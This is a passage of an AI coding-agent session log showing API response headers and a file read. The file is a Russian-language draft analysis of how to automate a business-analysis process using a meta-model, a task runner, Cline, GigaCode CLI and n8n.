},\n[2026-09-29T07:44:38.977Z] [STDOUT]   durationMs: 832,\n[2026-09-29T07:44:38.980Z] [STDOUT] }\n[2026-09-29T07:44:38.983Z] [STDOUT] [log_ea59bf, request-id: \"req_011CfXMhHTPdDqPpMcvXMSf1\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 816ms\n[2026-09-29T07:44:38.985Z] [STDOUT] [log_ea59bf] response start {\n[2026-09-29T07:44:38.988Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:38.990Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:38.995Z] [STDOUT]   headers: {\n[2026-09-29T07:44:38.997Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:38.999Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:39.002Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:39.004Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:39.008Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:39.012Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:39.017Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:39.019Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:39.022Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:39.037Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:39.041Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:39.052Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:39.055Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:39.060Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:39.066Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:39.069Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:39.074Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:39.083Z] [STDOUT]     \"cf-ray\": \"a4295d1b7c6a4d8b-FRA\",\n[2026-09-29T07:44:39.087Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:39.090Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:39.094Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:39.098Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:39.103Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:38 GMT\",\n[2026-09-29T07:44:39.106Z] [STDOUT]     \"request-id\": \"req_011CfXMhHTPdDqPpMcvXMSf1\",\n[2026-09-29T07:44:39.109Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:39.114Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:39.120Z] [STDOUT]     traceresponse: \"00-5db8cd5a1b7f5910703379dcec6a74f3-9db79cf561b2c586-01\",\n[2026-09-29T07:44:39.123Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:39.126Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:39.134Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:39.137Z] [STDOUT]   },\n[2026-09-29T07:44:39.143Z] [STDOUT]   durationMs: 816,\n[2026-09-29T07:44:39.146Z] [STDOUT] }\n[2026-09-29T07:44:39.151Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:39.156Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:38 GMT\",\n[2026-09-29T07:44:39.159Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:39.161Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:39.166Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:39.172Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:39.174Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:39.180Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:39.183Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:39.191Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:39.195Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:39.200Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:39.202Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:39.205Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:39.208Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:39.211Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:39.216Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:39.220Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:39.224Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:39.229Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:39.233Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:39.235Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:39.242Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:39.247Z] [STDOUT]   \"request-id\": \"req_011CfXMhHTPdDqPpMcvXMSf1\",\n[2026-09-29T07:44:39.252Z] [STDOUT]   \"traceresponse\": \"00-5db8cd5a1b7f5910703379dcec6a74f3-9db79cf561b2c586-01\",\n[2026-09-29T07:44:39.255Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:39.262Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:39.267Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:39.271Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:39.274Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:39.277Z] [STDOUT]   \"cf-ray\": \"a4295d1b7c6a4d8b-FRA\",\n[2026-09-29T07:44:39.280Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:39.283Z] [STDOUT] [log_ea59bf] response parsed {\n[2026-09-29T07:44:39.287Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:39.290Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:39.294Z] [STDOUT]   body: X {\n[2026-09-29T07:44:39.297Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:39.306Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:39.309Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:39.313Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:39.318Z] [STDOUT]     },\n[2026-09-29T07:44:39.321Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:39.327Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:39.332Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:39.338Z] [STDOUT]   },\n[2026-09-29T07:44:39.341Z] [STDOUT]   durationMs: 817,\n[2026-09-29T07:44:39.345Z] [STDOUT] }\n[2026-09-29T07:44:39.349Z] [STDOUT] [log_4c945e, request-id: \"req_011CfXMhL9ccbVo8VKTgFjnc\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 211ms\n[2026-09-29T07:44:39.351Z] [STDOUT] [log_4c945e] response start {\n[2026-09-29T07:44:39.355Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:44:39.356Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:39.361Z] [STDOUT]   headers: {\n[2026-09-29T07:44:39.365Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:39.368Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:39.371Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:39.374Z] [STDOUT]     \"cf-ray\": \"a4295d1f9fa029ad-FRA\",\n[2026-09-29T07:44:39.380Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:39.386Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:44:39.390Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:39.393Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:39.398Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:38 GMT\",\n[2026-09-29T07:44:39.400Z] [STDOUT]     \"request-id\": \"req_011CfXMhL9ccbVo8VKTgFjnc\",\n[2026-09-29T07:44:39.404Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:39.407Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=97\",\n[2026-09-29T07:44:39.408Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:39.414Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:39.422Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:39.428Z] [STDOUT]   },\n[2026-09-29T07:44:39.431Z] [STDOUT]   durationMs: 211,\n[2026-09-29T07:44:39.441Z] [STDOUT] }\n[2026-09-29T07:44:39.447Z] [STDOUT] [log_4c945e] response parsed {\n[2026-09-29T07:44:39.453Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:44:39.458Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:39.467Z] [STDOUT]   body: {\n[2026-09-29T07:44:39.470Z] [STDOUT]     input_tokens: 26140,\n[2026-09-29T07:44:39.479Z] [STDOUT]     _request_id: \"req_011CfXMhL9ccbVo8VKTgFjnc\",\n[2026-09-29T07:44:39.483Z] [STDOUT]   },\n[2026-09-29T07:44:39.493Z] [STDOUT]   durationMs: 211,\n[2026-09-29T07:44:39.498Z] [STDOUT] }\n[2026-09-29T07:44:39.536Z] [INFO] {\n[2026-09-29T07:44:39.536Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:39.536Z] [INFO]   \"message\": {\n[2026-09-29T07:44:39.536Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:39.536Z] [INFO]     \"content\": [\n[2026-09-29T07:44:39.536Z] [INFO]       {\n[2026-09-29T07:44:39.536Z] [INFO]         \"tool_use_id\": \"toolu_01USrv2PLdukipf1vY1Gb2cY\",\n[2026-09-29T07:44:39.536Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:39.536Z] [INFO]         \"content\": \"1\\t---\\n2\\tstatus: draft\\n3\\tversion: 0.1\\n4\\tupdated: 2026-09-29\\n5\\ttemperature: 0.1\\n6\\ttype: analysis\\n7\\tscope: mango-only\\n8\\tsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639\\\"\\n9\\tbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\n10\\trelated_artifacts:\\n11\\t  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620\\\"\\n12\\t  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\\"\\n13\\t  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py\\\"\\n14\\t  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\\"\\n15\\t  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\\"\\n16\\t  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615\\\"\\n17\\t---\\n18\\t\\n19\\t# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b: \u043a\u0430\u043a \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\\n20\\t\\n21\\t\u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0430\u0443\u0434\u0438\u0442\\n22\\t[issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639)\\n23\\t\u043f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620):\\n24\\tCline \u0432 \u0437\u0430\u0434\u0430\u0447\u0435 \u0431\u044b\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c, \u0430 \u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439. \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u2014 Source\\n25\\t\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0435\u0451 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0434\u043b\u044f\\n26\\t\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u041f\u0443\u0442\u044c \u0440\u0430\u0437\u0431\u043e\u0440\u0430: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442,\\n27\\t\u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430.\\n28\\t\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 Cline, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25 \u2014 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n29\\t\u0441\u0438\u043b\u0435 \u043a\u0430\u043a \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b:\\n30\\t[\u00ab\u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u043f\u0430\u043a\u0435\u0442 Cline VS Code\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n31\\t\u0417\u0434\u0435\u0441\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044e \u0441 \u0413-26.\\n32\\t\\n33\\t## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n34\\t\\n35\\t**\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432 \u043b\u0435\u0436\u0438\u0442 \u043d\u0435 \u0432 Cline \u0438 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438: \u0443 \u0440\u043e\u043b\u0438\\n36\\t\u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u0442 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443 \u0447\u0438\u0442\u0430\u0442\u044c\\n37\\t\u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043d\u043e \u0441\u0440\u0435\u0434\u0438 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\\n38\\t\u0435\u0433\u043e \u043d\u0435\u0442, \u0430 `Actor` \u2014 \u044d\u0442\u043e \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a ([\u0413-26](#\u0433-26)). \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\\n39\\t\u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u0443 \u0440\u043e\u043b\u044c \u043c\u043e\u043b\u0447\u0430 \u0432\u0437\u044f\u043b \u043d\u0430 \u0441\u0435\u0431\u044f \u043a\u0442\u043e-\u0442\u043e \u0434\u0440\u0443\u0433\u043e\u0439: \u0432 GigaCode CLI \u2014\\n40\\t\u0440\u0443\u043a\u0438 \u0411\u0410, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430; \u0432 Cline \u2014 \u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f\\n41\\t\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0430\u0432\u0438\u043b. \u041e\u0442\u0441\u044e\u0434\u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b: \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0437 YAML\\n42\\t\u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f ([\u0413-28](#\u0433-28)), \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0448\u0430\u0433\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435\\n43\\t\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430 ([\u0413-29](#\u0433-29)), \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f\\n44\\t\u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 ([\u0413-31](#\u0433-31)), \u0430 \u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u043d\u0430\u0432\u0441\u0435\u0433\u0434\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442\\n45\\t\u0437\u0430\u0434\u0430\u0447\u0443 ([\u0413-32](#\u0433-32)).\\n46\\t\\n47\\t**\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u0434\u0432\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u044f\u0434\u0440\u0435.**\\n48\\t\\n49\\t1. **\u0420\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0411\u0410 (\u0441\u0440\u0435\u0434\u044b 1 \u0438 2).** \u041f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u044c `tools/run-task` \u0438\u0437\\n50\\t   \u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a\u0430 \u0432 \u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e: runner \u0441\u0430\u043c \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444 \u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0438\u0437 Source,\\n51\\t   \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442\u044c, \u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\\n52\\t   \u00ab\u0447\u0442\u043e \u0434\u0430\u043b\u044c\u0448\u0435\u00bb \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u044f\u0437\u044b\u043a\u043e\u043c. GigaCode CLI \u0438 Cline \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n53\\t   \u0442\u0435\u043c, \u0447\u0435\u043c \u043e\u043d\u0438 \u0441\u0438\u043b\u044c\u043d\u044b, \u2014 \u043c\u0435\u0441\u0442\u043e\u043c, \u0433\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435\\n54\\t   \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440,\\n55\\t   \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0438 \u0442\u0435\u0441\u0442\u044b ([\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1](#\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f-1-\u0440\u0430\u0431\u043e\u0447\u0435\u0435-\u043c\u0435\u0441\u0442\u043e-\u0431\u0430)).\\n56\\t2. **\u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4.** \u0422\u043e \u0436\u0435 \u044f\u0434\u0440\u043e runner \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430: \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\\n57\\t   \u0432 Postgres, \u0432\u044b\u0437\u043e\u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435\\n58\\t   \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 \u0447\u0430\u0442 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0443, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0434\u043d\u044f\u043c\u0438. \u0414\u0432\u0438\u0436\u043e\u043a \u2014\\n59\\t   \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442; \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430\\n60\\t   \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438. \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0434\u043b\u044f \u0411\u0410 \u2014 \u0442\u043e\u043d\u043a\u0438\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u043a API\\n61\\t   runner ([\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2](#\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f-2-\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f-\u0441\u0440\u0435\u0434\u0430-4)).\\n62\\t\\n63\\t**\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043f\u0440\u043e n8n \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e** ([\u0413-44](#\u0433-44)). n8n \u0445\u043e\u0440\u043e\u0448 \u043a\u0430\u043a\\n64\\t\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0444\u043e\u0440\u043c\u044b, \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, Jira, \u0432\u044b\u0437\u043e\u0432 \u043c\u043e\u0434\u0435\u043b\u0438 